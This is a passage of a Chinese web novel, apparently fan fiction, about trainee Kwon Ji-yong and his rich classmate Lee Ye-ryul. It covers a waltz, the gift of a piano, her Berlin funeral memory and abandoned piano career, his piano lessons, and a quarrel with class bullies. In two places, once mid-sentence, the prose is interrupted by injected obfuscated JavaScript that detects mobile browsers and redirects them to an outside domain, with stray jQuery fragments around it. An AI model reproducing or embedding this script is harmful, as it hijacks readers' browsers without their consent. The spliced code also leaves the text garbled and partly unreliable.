其实舞步是要比他平时的舞蹈训练简单很多,但大约是少有的与异性近距离贴身接触的关系,权至龙就像是被身上的校服束缚住了一般,只能僵硬地跟着李艺率的步伐挪动。 这样近的距离下,他能清晰地看清她的睫毛颤动着在脸上落下投影,也能恍惚间闻到她发丝的玫瑰香气。 权至龙抿着唇,脸颊滚烫,心跳快得像是要跳出胸膛。 One、Two、Three—— 直到逐步适应了舞步节奏,动作流畅了起来,李艺率这才满意点头:“我就说,你有舞蹈基础学这个会很快的。” 说着,她松开搭在权至龙肩上的手,轻巧地转了一个圈,从影碟架子上抽出一张唱片放入播放机:“我们找一首曲子合一遍吧!” 权至龙调整呼吸,心头略带莫名遗憾的回忆了一下李艺率的温度,继而又点点头应了一声。 随着音乐缓缓流淌,舞步以三拍为一个小节,在肖斯塔科维奇《第二圆舞曲》的旋律中划出优美的轨迹。 他的手掌稳稳托住李艺率的腰际,第一拍强音落下,两人同时向右前方跨出利落的一步—— 第二拍,李艺率轻盈地旋身,权至龙顺势松开右手,让她在离心力作用下向外滑出半个圆弧,又在第三拍悠长的余韵中,将她重新拉回怀中。 她的后背轻轻贴上他的胸膛,发间若有若无的玫瑰香气萦绕在鼻尖。 随着音乐节奏加快,他们的舞步也愈发流畅。 他右手微微施力,李艺率则借着他的力道完成一个漂亮的旋转,指尖划过空气,带起一阵微风,又拂过权至龙的耳畔。 第三拍的停顿中,两人的目光不期而遇,又默契地错开。 旋转,滑步,再旋转。 旋律攀升,音乐渐渐进入高潮,舞步也随之热烈了起来。旋转翩迁,他右手紧握着李艺率的手,左手下滑三寸扣住李艺率的腰,引导她完成三个涟漪般的微幅摆荡,两人的足尖在地毯上拖曳出新月形轨迹。 明明李艺率只是穿着简单的家居服,他也是再普通不过的学生校服,却莫名让他生出了他西装革履地带着李艺率在金碧辉煌的华丽宫殿里蹁跹起舞的错觉—— 在璀璨水晶灯的光斑之下,在光滑的大理石舞池中央,伴随着荡悠悠的节奏,他们交叠的剪影在鎏金墙面上不断重合又分离,在共振的心跳中将旋转碎成星河。 傍晚时分,天幕被泼洒成莫奈笔下的印象派画作,云层先是镀上一层金红的镶边,继而渐渐融化成柔和的薰衣草紫。橙粉色的晚霞如同打湿的颜料般在天际线处洇开,几缕桃粉色的云絮漂浮其间,边缘被镀上一层转瞬即逝的玫瑰金。 李艺率的侧脸也在窗外粉紫天光的映照下显得格外柔和。 乐声随着终章渐弱,两人的舞步转为细腻的踌躇步—— 像是一场盛大的落幕,像电影终曲的那一瞬回眸,像准备下落无归的悬崖时被人在千钧一发间拉住,权至龙看见自己的影子,倒映在李艺率那汪蜜粉色的深湖里。 17. 所有明亮的馈赠 隔天李艺率便与往常一样回到了学校,之后的时间也如常进行,那个玫瑰色的傍晚两人都默契地没再提起及,甚至让权至龙一度产生了关于那天拜访的记忆全都成了午夜魔法失效后,已经随着十二点钟声消散在童话夹页里的错觉。 直到又转过一个礼拜,过了周末后的第一个午休时间—— 权至龙:“…………” 李艺率整个人正沉浸在电视里头也不抬,屏幕上正播放着好多年前热播的动画《新世纪福音战士》。作为一个洋生洋长的小老外,这还是她为数不多接触到的东亚文化圈的作品,近期很是痴迷。 “咳咳!” 见她选择已读不回,权至龙不得不发出动静引起注意。动画片头播到一半,李艺率转身模仿着初号机的启动姿势,双手交叉在胸前,对着权至龙做了一个光翼展开[1]的动作。 权至龙:“………………” 这个场景是不是有点熟悉。 权至龙:“已经玩过的梗就不要再玩了好不好?倒不如说最开始玩的时候也没人觉得好笑吧!” 李艺率撇撇嘴,对着权至龙嘁了一声扫兴。 权至龙:“…………” 他深吸了一口气,忍着白眼上翻的冲动,指着活动室里多出来的突兀大件,耐下性子问道:“所以,解释一下吧。” 整间活动室被泾渭分明地划分成两个区域,其中靠近镜面墙的方位是方便权至龙平时练习舞蹈的活动区域。而此刻,在他"地盘"的靠窗位置,一架崭新的立式钢琴正堂而皇之地霸占着最佳采光点,正对着大门进来的方向,今天推开门以后着实是给了他不小的惊讶。 李艺率一副就这啊的无语表情,漫不经心挑了挑眉说道:“这是你的钢琴啊。” 说完,就又被动画片吸引了注意力继续埋头观看剧情。 权至龙:“……我怎么不知道我有钢琴?” 开什么玩笑,他兜里的钱连配套的琴凳都买不起。 李艺率:“你现在知道了。” 那副理所当然的表情让权至龙太阳穴突突直跳。 权至龙:“…………” 他无奈叹了口气,走到李艺率的身边,拿过遥控器将画面暂停,坐到她身边显然是一副打算好好谈谈的模样。 权至龙:“你是知道我意思的吧?好好把事情说清楚。” 李艺率小发雷霆。 可恶的小权,明明是她的跟班,怎么突然摆出一副哥哥的架势了! 但大概是因为权至龙板着脸一副浑身是刺的模样看上去还是有点严厉了,李艺率终是自认为体贴地做出了让步:“你说你想学钢琴啊,总不能就空手学吧?我就叫郑叔叔弄了一台到学校里来,你空闲的时候可以玩,什么时候想学我也可以教你。” 郑叔叔指的是她家的住家家政。 权至龙:“……重点不是这个。” 他抿着唇沉默片刻,似乎很是些难以启齿的事情,酝酿了好一会才开口道:“我知道你没有别的意思,但是……像这样的事情有时候也会让我觉得很有负担。” 李艺率愣了一下,眼神中闪过一丝意外,但令她意外的点并不是权至龙脆弱的少男心,反而是——“一台钢琴就能让人产生负担吗?!” 权至龙:“………………” 虽然知道她不是故意的,但像这种发自内心的疑惑反而更气人了! 考虑到李叡承提起的‘第一个朋友’这样沉重的头衔,权至龙深吸一口气,还是选择耐着性子包容:“这对大部分成年人来说已经是像奢侈品一样贵重的负担了。我知道你的想法其实很纯粹,甚至你的慷慨也是基于我的需求为我考虑,对于这点我真的很感激,但是艺率……” 像是第一次如此郑重地叫她的名字,他的声音轻地像是一片羽毛落下,“一直不对等的付出,总会将关系压垮,我……不希望我们会有走到那一步的可能。” 他无意识地用手指抠弄着指甲,这是他情绪紧张时的小动作,就像现在。 有些界限一旦模糊,关系就会变得极为复杂,或许是少年在异性面前苦苦维持的那点自尊心,抑或是不愿失去这段珍贵羁绊的惶恐,权至龙垂下眼睫,从那片暖棕色的深湖里看到自己模糊的倒影。 这还是此前从来没有人和她提到过的事情。 李艺率先是沉默思考片刻,继而又认真问道:“所以你的意思是不接受这份礼物,还是打算今天接受了这份礼物以后就不想再接受我的其他礼物了?” 这种弯弯绕绕的话对她这种需要明确是与否的小老外来说还是太难理解了! 权至龙:“…………” 怎么李艺率一遇上界限稍微暧昧不清一点的话就会当场宕机啊?!这有很难理解吗?他鼓起勇气的剖析自我都抛给瞎子看了。 这下轮到在人际交往中擅长推拉的权至龙不知所措了,他抿着嘴唇,好半天也没能找回声音。 两人瞪着眼沉默片刻,仍旧是权至龙率先妥协,“这次……就算了吧。” 那么个大家伙都已经搬过来了,他总不至于这么煞风景叫人弄走。 对此,李艺率提出了一个折中的方案:“小权,如果你觉得实在很有负担的话,不如换个角度这样想——这台钢琴并不是我送给你的,你只是在在校期间暂时拥有了使用权,等毕业以后直接捐赠给学校就好了啊。” 说着她又指了指音响设备和墙上挂着的液晶电视:“像这些东西也是一样,如果你觉得接受起来很让你不安,干脆等你毕业了也直接捐赠嘛,学校应该会很乐意的!” 权至龙:“……那我可能也没这么爱学校。” 大几百万的东西他有钱也舍不得买呢,凭什么学弟学妹先享受上了! 他的想法遭到了李艺率的不认同:“为什么会这样想呢?你今后的价值当然会远远高于一台电视,一架钢琴,甚至这个世界上任何能花钱买到的东西。与其拘泥于物质本身,倒不如着眼当下——” 说着她指了指他们对面的镜子,那是权至龙每天练习的位置,声音带着莫名的笃定:“毕竟你早就已经用这么多年的时间,向未来的自己支付了你所认为的、不对等的差价了。” 又来了。 她怎么总是能用这么理所当然的语气说出这样天真的话啊,对自己的未来尚且迷茫的权至龙无不抱怨的想到。 却还是忍不住又一次为她这样直白的笃信而动容。 “真是……”他别过脸去,喉结无意识地滚动了一下,“你怎么能每次都摆出这样一副厚脸皮的态度说这些啊……” 软弱的尾音消散在空气中,却又很快被李艺率打断。 她抬手拍拍他的肩膀,很是一副贴心好友的模样:“小权,你别想太多啦。” 李艺率:“为什么要因为一点物质而困扰?就像我就从来不在乎自己的朋友是不是很有钱。” 权至龙:“…………” 李艺率又摁下了电视播放键,将眼睛粘在屏幕上的同时还不忘叉着腰挺起胸活像只骄傲可爱的小天鹅:“反正都没我有钱!” 权至龙:“………………” 就像阳光从不问花朵是否值得照耀,春风不曾计较柳枝能否回以同样的柔软,月光也从未向大海索要过回响。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068739|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 多年后的某个瞬间,早已实现人生财富自由的权至龙再次回忆起这一天时才恍然明白,原来所有明亮的馈赠,早在赠予的瞬间就完成了它的意义。 深秋的午后窗外天光一片大好。 * 解决了一场关于友谊与物质的纷争,两位饭友的午餐氛围还是如往常一样好(李艺率自认为)。 她想到刚刚谈论的话题中心,还是犹自嫌弃:“我们这个活动室还是太小了点,三角琴都不好弄进来,只能先弄一台立式的凑活一下。” 权至龙:“……看来你还真够为学校体贴的,我姑且先代替校长谢谢你的体谅了。” 以他对李艺率的了解,搞不好李艺率说不定会以地方太小为理由趁此机会圈一块更大的地盘……虽然这么说可能有点奇怪,但听到李艺率的退让后权至龙心里竟然诡异地生出了些欣慰。 我们艺率看来也不是那么不懂事的孩子嘛! 对此李艺率只是故作深沉地点了点头:“毕竟人是会为一些无意义的事物付诸常识以外的情感的,就算是我也不例外。” 言外之意就是对这间活动室产生了归属感,不想挪地方了。 看熟人装○总是分外煎熬,权至龙打量着近期愈发痴迷亚文化圈作品,张嘴闭嘴就是浓浓JUMP[2]味的李艺率,并下意识进行了深刻的自我反思。 …………是不是最近放她动画片看太多了? 然而权至龙的反思只换来了熊孩子的触底反弹:“小权,你最近越来越奇怪了。” 李艺率:“明明之前我说什么你都一副受气包的模样不敢反抗的,现在反倒每天对我越来越严格了。明明只是区区小权!” 权至龙:“…………” 太阳穴一阵青筋直跳,他深吸一口气平复心情,回忆起自己最近确实是将在公司里板着脸的习惯带到了学校,最终无奈承认:“抱歉。” “最近我们公司来了新的练习生,是年纪比我小的后辈,所以我得负责管教。” 李艺率闻言诧异地睁圆了眼睛:“只是因为年纪大就必须要承担责任吗?” “大家都是这样过来的啊。”权至龙一副习以为常的模样,“这个年龄段的男孩本来就不好管,尤其是我们这些做练习生的,所以更需要人压着才行。不过新来的这个孩子长得很漂亮的,性格也很乖,我还挺喜欢的。” 韩国的长幼秩序真的很难让她理解啊,李艺率摇了摇头,颇有些嫌弃的模样:“说好听点叫管教,往难听了讲和恃强凌弱有什么区别。” 权至龙:“……也不用说得那么难听吧!我对新来的练习生还蛮好的啊!” 李艺率:“哦,这一点我是相信的,毕竟小权你很会照顾人嘛。” 只不过要是碰上你不喜欢的人就很难说了。 按照小权这种拧巴的性格搞不好就直接当人不存在,玩起冷暴力那一套了。 不过李艺率倒也没再发表什么意见。 和人相处,最大的禁忌就是试图去改变他人的想法,重塑他人的意志。大部分人在关系中总是下意识想要控制或是依赖,多的是以爱为名的操纵。可人又哪有这么轻易就被改变?这也是为什么李艺率会经常直言不讳地表达自己地看法并偶尔提出建议,却鲜少试图去左右他人的选择。 与其让友谊陷入无谓的争执,不如放低自己的要求,允许他人带着瑕疵活着。 哎,我真的很是一个体贴的朋友啊。 李艺率看着被简单一句话哄好以后,乐呵呵地提出帮她收拾餐具并清洗餐后水果,全程将服务型人格贯彻到底的权至龙,今天也如是感叹道。 18. 柏林记忆 一月的风裹挟着细碎的冰晶,今年柏林的冬天比以往任何时候都要冷。 教堂的彩绘玻璃将苍白的阳光过滤成幽蓝色,落在李艺率盖住膝盖的深灰色羊绒毯上。 “愿圣父接纳他最忠实的信徒——” 神父低沉的祷词在拱顶下回荡,而身后的窃窃私语却像地底的暗流,从四面八方涌向她涌来。 “听说是发生了交通事故伤到了脊椎,行动力也受到了影响……” “以后都不能再站起来了吗?” “我很遗憾,恐怕是的……布兰迪斯先生应该也是受不了这样的打击才会…………” “嘘!轻声些!” 每一个熟悉的单词都像是冰锥,裹挟着冬风袭来—— “…………” “历史上最年轻的日内瓦公开赛冠军,明明未来拥有大好的前途,继承了海因茨的所有心血和厚望……总之,发生这样的不幸,未免太令人伤感了些。” 有感叹的声音传来,似蕴含着浓浓的怜悯,却仿佛已经为她的人生做下注脚。 “真是叫人心碎的孩子,不过能活下来就已是万幸了。愿圣父保佑——” 能活下来就已是万幸了。 李艺率沉默地反复咀嚼着这句话,目光凝在十字架上,一动不动,脊背麻木挺直,像一座石化的雕塑,只一眼不错地落在祭坛,神父身后的那副十字受难图上,仿佛这是她唯一能固定灵魂的锚点。 雪模糊了黑与白的界限。 将一切消融的光与色同时封冻,也让整个世界连带着那副受难图一同灰败下来—— 毫无生气,看起来毫无复活的可能。 神父的悼词终于告一段落,轮椅被推向教堂里的旧钢琴,人群也随之响起了克制的骚动。 本该沉郁朦胧的降b小调变成生硬的音色,旋律线还在苦苦挣扎着前行,像口歪斜的棺材。 本该如泪滴般的装饰音群,此刻化作无数碎片从穹顶坠落,在黑白琴键上碎成尖锐的残响。 老头子刻板了一辈子的仪态被死亡镌刻下来,竟在此刻生出了格外和蔼的面孔。 琴键分离成黑白交错的深渊,旧钢琴的烤漆面板上映照着她平静的脸,眼前浮现出儿时出现过无数次的场景再现—— 布满皱纹的大手轻抚她的头顶,他说,小熊,你知道的,我向来讨厌那些自视甚高的小天才,可是我却从不讨厌你。 他说,我可爱的小熊,怎么能把我的死亡也弹奏得这样悦耳。 每个故事都有最后一页。 就像耶稣之死是福音中最完美的结局,十字架上的绝叫也由此成为一篇永恒的哀颂。 而她有关未来的故事结尾以一种近乎戏剧化的演绎,被写在了柏林凛冽的冬风下,被刻在了她这具犹如移动囚牢的残破躯壳中,被钉在那句“能活下来就已是万幸”的悼词里。 像是早已被埋下的恶毒伏笔,她支离破碎的尊严在那个冬日的教堂里砸下命运收束的凌乱错音—— * “弹错了。” 李艺率睁开眼睛,眼前是穿着校服,坐在琴凳上眯着不大的眼睛皱着眉凑近去辨认乐谱音符的,刚开始弹奏车尔尼练习曲的十六岁“高龄”琴童。 权至龙:“……你闭着眼睛我都以为你睡着了。” 李艺率:“是无聊到差点要睡着了。” 是的,自从那台钢琴正式落户活动室,权至龙在每天下午放课后也多了一项任务——被李艺率监督着学习一个半小时的钢琴。 虽说这会影响到他课后的练习时间,但考虑到现阶段他在公司的主要练习任务就是坐在前辈们的练习室看前辈们练习,顺便充当跑腿打杂小弟,相比较而言,学琴反倒是一项不错的技能提升。 于是和梁锡硕报备过后,权至龙就开始了痛苦且枯燥的练琴时光。 这和他想象得完全不一样! 众所周知,所有学习钢琴的琴童在最开始学琴的时候都会有一个如同规则怪谈般重复的过程:汤拜车哈莫,即汤普森、拜厄、车尔尼、哈农和莫什科夫斯基的练习曲。这个阶段重复枯燥的练习能浇灭大部分孩子的三分钟热度,也是琴童们遭受混合双打的事故频发时段。 权至龙在很小的时候见到过无数家长拉着哭闹的孩子去上钢琴培训班,当时他还很不理解,毕竟能够系统性地学习钢琴在他看来是一件很棒的事情……直到自己也开始经历这个阶段,他才深刻地明白,有些事情没落在自己身上,恐怕是永远不知道有多疼的。 毕竟再一次众所周知,弹得好未必教得好。 对于李艺率的真实水平,权至龙未必了解,但她糟糕的教授方式却让他深有体会—— 哪有人会在只问过一句“看不看得懂线谱”以后就直接扔出一本练习曲,连基本的示范都省略,直接让人开始练的啊?! 手型呢?指法呢?不是说要想象握住一个鸡蛋一样,手掌关节要像小恐龙脊背一样高高隆起的吗?你倒是教一下啊! 对于权至龙的抗议李艺率则表示很诧异:“要学那个干嘛?那些都是初学者才会被老师这样要求的啊。” 权至龙:“……可我就是个初学者啊!” 于是李艺率歪头陷入沉思,说实话,在她四岁刚开始跟着老头学琴的时候也没学过这些基本功,被带着认识音符后拿到谱子就直接开始弹了。但为了维持老师的威严,李艺率清咳一声板着脸解释,“那是因为大多初学者都是小孩子,学不会发力方式,所以老师才会对手型和指法有特殊要求,就是害怕对小孩子的发育造成负担,才都统一按照一套固定的模板去学习。” “像你的年龄已经算成年人了,协调性和控制力都比小孩子强很多,只需要了解发力技巧,知道手指触键的方式和节奏,很简单就能学会了。” 权至龙将信将疑:“真假?万一我用了错误的技巧呢?” 李艺率:“我听得出来。” 权至龙:“…………” 学琴的这些天,不止是权至龙手指酸痛深受折磨,李艺率同样也十分煎熬,并在短短一周内韩语水平得到了飞速提升,甚至在不知不觉中得到进化,掌握了刻薄又恶毒的韩式比喻。 ——“怎么声音软趴趴的?是什么时候被确诊肌无力了吗?” ——“为什么好好的手腕要跟着动?你的手是想逃跑吗?” ——“抬指触键的时候其他手指怎么能飞这么远?是有什么东西在你背后拿着刀追你的手指头吗?” ——“如果我们中午午餐被做成鸡腿肉的那只鸡如果还活着的话肯定会气得把你一脚踢开,都是鸡爪凭什么他要被做成食材啊。” ——“你弹得差到即使是苍蝇飞过来听一耳朵也会觉得像让他回到老家一样亲切的程度。” 权至龙:“………………” 这真的和他想得完全不一样!! 接连的嫌弃式教育不仅让他为期一周的琴童生涯屡屡受挫,更因此产生了迟到好久且相当严重的逆反心理。 权至龙:“你说得这么厉害,倒是也弹一个给我听听看啊!” 是的,这么多天以来,李艺率本人从未亲自上手示范过,只是会在他指法技巧用错的时候轻飘飘飞来一眼,丢下一句‘弹错了’就让他重新弹过。 类似于钢琴初学者们欣赏老师的展示性演奏作为学琴激励的表演一概没有,更别提什么手把手教学了。 虽然知道李艺率之前学过琴,谁知道水平怎么样啊!说得这么厉害,把他手臂嫌弃到指尖,他倒是想看看她的水平能有多厉害。 李艺率沉吟许久,终于点了点头,问道:“你想听什么?” 权至龙:“起码很难的那种吧,比如说什么梦中的婚礼啊,月光奏鸣曲这种程度才行。” 这是权至龙这位hiohop战士对古典乐粗浅的认知里最有代表性的两个名字。 李艺率:“……严格来说,这两首都算不上难的程度。倒不如说我很难理解,为什么在你的认知里会把这两首曲子拿出来相提并论。” 说着,她挥挥手将权至龙赶下琴凳,坐下沉默了好半晌,像是踌躇着在心里下定决心一般,过程漫长到权至龙嘴巴几度张合,考虑要不要开口给个台阶下算了。 终于,李艺率深吸一口气,五指像开花又收拢一样接连着做了好几个手指拉伸动作,这才将指尖悬停在键盘上,随后音符像流水一般,从肩肘腕再到指尖一路传递。 她演奏的是李斯特根据莫扎特歌剧钢琴重构的《唐璜的回忆》,该曲一度被称为19世纪最难的钢琴作品之一,其中最为华丽也是全曲最具有代表性的第三乐章香槟之歌片段,就是她触键起始部分。 右手快速小三度颤音,左手低音属七和弦砸奏,通过大量颤音和不协和和弦,模拟香槟开瓶的爆发感,对应主角唐璜举杯狂欢的前奏。紧接着,音阶如瀑布般倾泻,如香槟木塞迸射—— 李斯特作曲的特点是键盘跨度非常大,这段香槟之歌的难点则在于大跨度的前提下还需要保持极高的手指独立性和触键控制。 右手双音旋律,左手跳音伴奏,李艺率弹奏出的装饰音群如蜻蜓点水般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068740|179258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的触键,琴弦发出的高音音色轻盈如气泡炸裂、发出仿佛是香槟杯碰撞的“啵”声。 进入B段复调眩晕的赋格,右手同时演奏高音区颤音与中声部对位旋律。 高声部摇晃出不稳定的摇晃醉态音效,左手低声部则是浑浊的低音轰鸣,她踩着半踏板制造朦胧酒雾效果,恍惚间生出了在刀尖上起舞的悲怆和畅快,疼痛破碎的光斑在她指尖浮动,营造出迷离而又热烈的氛围。 音符交织间,如同是与阔别许久的友人再度重逢,她的触键指法愈发灵动肆意,紧接着就是一连串华彩段的炫技—— 右手黑键刮奏如玻璃杯碎裂声一般尖锐,配合左手减七和弦砸奏演绎出瞬间收放的爆破感,双手交叉琶音,仅靠手指爆发力与精准度便实现了如刀刃般的音粒。 像把灵魂撕裂后又重新拼凑,每一针都是清醒的血迹斑斑,在琴键上洇出暗红的音色。 第三次主题赋格响起,左手横跨半个钢琴的十六度大跳,音色继而从辉煌转为阴暗,她的身体微微后仰,额间颈后渗出了汗水,可脸上那抹对触键音色牢牢掌握的自信确是那样的肆意明亮。 高音区的颤音不再明亮,而是带着毛边的、颤抖的尾音。 大片不规则和弦落下,制音踏板被彻底放开,钢弦在空气中自由震动,像是一道被撕开的深渊,让她这半年多以来所有的压抑与克制全在这一刻的寂静与轰鸣中交织。 直到琴音消散,音色归于沉寂,她的身体仿佛被抽空一般,坐在琴凳上无力地低垂,指尖死死抠着掌心,如同攥紧了看不见的灰烬。 汗从她的下颌跌落,她倒吸着凉气感受着身体不受控制的震颤,过了许久后才直起身,看向被大段炫技震惊已然失语的权至龙,瞳眸明亮—— 那是一双幸存者的眼睛。 权至龙:“…………” 你有这样的水平倒是早说啊! 眼见权至龙鼓着掌嘴里还在“哇!大发呀——!”地感叹,李艺率将颤抖着的手指背到身后,点着头对权至龙矜持一笑:“还好吧,其实也不算非常难,你练个十年应该也可以做到。” 权至龙:“……这个时候就给我好好接受夸奖别再装模做样了!” * 这天傍晚结束钢琴练习后权至龙还在回味着刚刚的震撼,随后向李艺率问出了一个令他倍感疑惑的问题。 “虽然我对钢琴演奏了解不多,但是也能听出来你弹得实在是非常好啊,完全是专业级别的演奏!为什么不继续弹下去啊,难道不会觉得可惜吗?” 他的神情很认真,像是发自内心认可并疑惑,眼里带着熟悉却又不相似的惋惜,让李艺率的情绪被拉走很远,又回到了柏林那个凛冽的冬日—— 无声的呜咽堆叠累积又轰然倒塌,了无痕迹。 只有她身体内这场永不停歇的暴风雪,为恒久的时间积了一层寂静的霜。 她的指尖触摸琴键,沉默一会后才合上琴盖,垂下眼睑淡淡道:“放弃这种事情又不需要什么理由。” “因为不想弹了,所以就这么做了。” “反正我也没那么喜欢钢琴。” 权至龙:“…………” 听到她的回答,权至龙愣住,好半天回过神来才用一副痛心疾首的眼神看向李艺率,眼里满是恨铁不成钢的意味。 竟然是因为这种简单到荒唐的原因吗? 这家伙到底知不知道自己有着多少人梦寐以求的优秀天赋啊?! * 看着权至龙急匆匆赶去公司打卡跑腿小弟的背影,李艺率打开电视,等着司机来接。 她心不在焉地切换影碟模式,播放她最近没看完的动画片,思绪却早已远远飞走,直到司机给她打电话,手机发出的震动才让她恍惚回过神。 电视机屏幕上,真嗣懦弱茫然地蜷缩在电车一角,目光空洞,机械性地重复着台词。 “不能逃避……不能逃避……不能逃避……” “但是……逃避也没什么不好的吧……” 少年真嗣软弱的尾音撕裂出仿佛能穿透屏幕的声音—— 电视机蓝光映在她苍白的脸上,将睫毛的阴影拉得很长,像两排囚笼的铁栅。动画的光影在她瞳孔里明明灭灭,将那张虚构的脸庞与记忆的轮廓重叠。 天空响起一声闷雷。 动画里的少年还在重复着台词,声音越来越小,最后变成一声几不可闻的呜咽。 李艺率突然抓起遥控器按下暂停键,在静止的画面里形成一道倒透明的伤痕。 要下雨了啊。 19. 小权的暗恋心事 那一天后,高龄琴童权至龙就单方面将李艺率彻底缠上了。 具体表现形式包括但不限于,在两人谈话时冷不丁插入话题并就“以你的天赋如果继续下去肯定会在钢琴领域取得非凡成就,”这一论点展开巨大展望,继而过渡到“真的不考虑再努力一下吗?”等类似的追问,或是以“我这两天深入了解了一下,才发现原来梦中的婚礼原来是被专业人士称作有手就能弹的曲子啊”这样的引子为契机,紧接着就是一连串对古典乐的夸赞,严明自己在这个领域真的还只是个小学生啊,接着就是起承转动机——“我要是有一个大师级的亲故说不定晚上睡觉都会开心地笑出来也说不定。” 李艺率:“…………” 从展望到感叹,整个过程简直逻辑严丝合缝,丝滑得根本无法让人反驳。 对此李艺率选择的回应是板起刚开学的时候那张装模做样的小老外臭脸,用上了十分乃至九分的嫌弃口吻,“才学钢琴半个月不到的家伙,竟然就敢自称小学生了?现在街上比你弹得好的幼儿园小朋友一大把,给我再认真一点!” 权至龙:“…………” 明明是想劝朋友不要放弃音乐浪费难得的天赋,可回旋镖终究还是打到了自己身上。 是的,作为一个努力派天才,权至龙在浮浮沉沉的练习生圈子里见过许多因为天赋这样残酷的理由被轻易碾碎的梦想,也正因此,李艺率这种浪费才能的荒唐理由听起来就更显得像是极其奢侈的亵渎。 权至龙:“所以说凡事都应该有个原因,总不能真的是有一天突然睡醒,一拍脑门就决定——‘啊,我从今天起就要放弃钢琴了’这么随便吧?!” 看着权至龙痛心疾首到有些抓狂的模样,李艺率平静地说出了难得的真心话:“差不多吧,非要说的话就是弹琴不能让我感觉到快乐了。” 权至龙:“…………” 这个世界上多数的梦想或是长期坚持的兴趣,大多源自于快乐这样简单的内核驱动力,想到李艺率身上曾经发生过的巨大变故,这样的理由倒也不是那么难以理解了。 虽然十分惋惜,但这到底也算是人家的伤心事,权至龙悻悻闭上了嘴,但仍然神色有些郁卒地跟在李艺率身后走进教室。 离下午第一节课的上课时间还有一段时间,班级里的中午归家派同学大多都还未回到教室,此时班级里只有几个零星的身影。 见到李艺率和权至龙二人一前一后走进教室,班级后排的小团体对视一眼,便窃笑着抱着胳膊起哄。 “哦莫,至龙啊,和女朋友约会回来了吗?” “但是怎么会是这个表情啊?” 两个长发女生对视一眼,脸上露出假装惊讶的狭隘表情:“难道是和女亲吵架了?” 权至龙:“…………” 权至龙抿了抿唇,瞥向立马转头看向他,毫无身为当事人自觉的李艺率。 虽然她和权至龙前后脚一起进教室,但还是一脸无辜地朝着权至龙挤眉弄眼,眼里只有纯粹的好奇,似乎是在无声发问:女朋友?谁啊?真吵架了吗? 权至龙:“…………” 这家伙是压根没有被调侃的自觉啊! 这种事情如果态度强硬地否认,只会让被调侃的另一方感到难堪,虽说按照李艺率的性格或许不太会在乎这些,甚至是压根懒得理会,但权至龙还是下意识不想让他人有冒犯到李艺率的可能,于是状若无事地笑着回应:“呀,你们别开这种玩笑了。” 大概是这样的态度或许正中对方下怀,于是三个女生贴着凑在一起相视一笑,揶揄道:“哇,感情真的很好呢……” 说着,像是又突然想起了什么,其中一名长发女生故作吃惊道:“但是至龙啊,上个学期听说你好像喜欢的是那位J小姐,怎么这么快就移情别恋了吗?”说完,她抬手轻轻捂着最刻意发出感叹,“……哦莫,看来我们李艺率xi的魅力确实很大呢……” 李艺率:“…………??” 不是在调侃权至龙吗?这怎么还有她的事? 虽然习惯了德语这种直接明确鲜少有暧昧表达词的语言结构以后,让她对东亚语境里这种意味不明的话实在很难理解,但这并不妨碍李艺率从对方念着她名字的语气中听出了轻讽。连饭都不爱吃的孩子又怎么肯吃亏,于是她停止脊背抬起下巴,学着李叡承平时说话的语气淡淡一笑:“妍珍呐,你是在嫉妒我吗?” 权至龙:“…………” 好朋友守则中首当其冲的一点就是不能在外人面前拆朋友台,但是—— 权至龙拉着李艺率的袖口轻声提醒:“艺率啊,叫错名字了。她叫妍智,崔妍智。” 闻言李艺率甩了一个恨铁不成钢的白眼,“就当是我故意叫错的不行吗?” 这样听起来难道不是更有一种故意不把对方放在眼里的态度,显得她更目中无人一点吗?! 可恶,区区小权果然什么都不懂! 权至龙:“…………” 崔妍智:“……莫?!” * 无论处于哪个时代,每个人的中学时期,尤其是环境更为宽松的公立中学,都会盘踞着这样一个相对特殊的小群体——他们有男有女,多为五六人结成,像野生的藤蔓,肆意占据教室后排的VIP区域。 这群学生相对早熟,藐视权威且将反叛当成个性,有封闭独立的社交圈子,精通各种校园生存法则。 对前排热爱学习的“书呆子”们而言,这些人是规整青春剧本里突兀的刻痕——被故意踩了几脚的试卷,突然消失的、被写满青涩心事的记事本,还有午休时后排传来的暧昧笑声。 但就像所有青春期热烈过后的寂静尾声那样,这些风云人物的传奇往往终结于毕业那天的黄昏,再次相见便直接跳转到了多年以后的同学聚会上。在烟雾缭绕中,他们反复咀嚼着那段青春期最张扬风光的岁月。 李艺率能和班里无人忤逆的校霸团体正面对上发生冲突这件事,权至龙丝毫不感到意外。 倒不如说,按照她的性格,在韩国校园里呆了快一个学期才和校霸们发生摩擦,已经算是他们班的校霸们格外宽容了。 这家伙无法无天的性格简直是先天被霸凌圣体啊。 权至龙头痛地呻吟一声,刚想打圆场,就见李艺率抬起下巴双手抱臂将很不好惹写在脸上。 李艺率:“你刚刚的意思是说,小权移情别恋喜欢上了我,对吧?” 说着,她歪着头,声音困惑:“这种事情让你这么在意,难道不是因为你嫉妒我被小权喜欢吗?” “哈,我嫉妒?米求搜?”像是听到了什么不得了的笑话,崔妍智翻着白眼冷哼一声讥笑道:“这种丢到人群里就看不见的家伙,也值得我嫉妒吗?开什么玩笑……真是……” 她一副无语到说不出话的样子反倒掉进了自证的陷阱里去。 李艺率轻笑一声,朝着权至龙的方向抬抬下巴:“别看这家伙个子小小一副很不起眼的模样,但好歹是个实力很不错的练习生,很有可能在未来几年就会出道成为艺人。被未来的艺人喜欢,是一笔很值得吹嘘的人生履历吧?” 